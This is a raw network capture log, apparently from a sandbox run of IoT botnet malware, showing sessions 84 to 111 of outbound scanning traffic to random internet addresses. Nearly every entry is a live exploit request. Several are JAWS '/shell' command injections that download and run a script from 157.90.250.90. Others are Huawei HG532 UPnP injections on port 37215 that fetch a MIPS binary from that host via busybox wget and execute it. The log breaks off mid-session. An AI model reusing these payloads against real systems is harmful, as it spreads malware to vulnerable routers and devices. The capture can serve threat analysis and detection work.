Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	33170	64.184.219.41	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.192404985 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	35992	176.69.242.94	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.439774036 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	42146	138.192.209.119	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.440790892 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	48708	117.110.109.99	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.441481113 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	32982	74.123.234.35	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.442172050 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	35066	145.33.190.157	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.442787886 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	56466	32.125.248.35	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.443476915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	53118	95.58.153.193	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.444086075 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	50600	90.249.44.175	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.444771051 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	48300	49.209.5.244	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.445453882 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	52612	217.189.104.34	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.446053982 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	45074	217.19.114.229	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.446717024 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	60176	193.206.198.78	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.447333097 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	44382	135.89.3.44	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.448024035 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	43480	156.113.104.220	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.869828939 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	45386	197.101.175.187	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.870455980 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	35412	197.99.145.0	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.982573986 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	44632	156.133.165.115	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:49.991482973 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	41526	13.3.191.55	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.054017067 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	41216	160.108.6.246	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.054733992 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	58364	105.92.24.72	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.055428982 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	41030	53.125.178.189	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.056056023 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	60208	194.223.37.30	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.056701899 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	60312	108.165.135.39	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.057352066 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	35176	41.171.44.196	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.099833012 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	49248	197.173.204.9	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.100534916 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	52614	41.238.72.229	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.101233959 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	55748	197.79.45.182	37215

Timestamp	Bytes transferred	Direction	Data
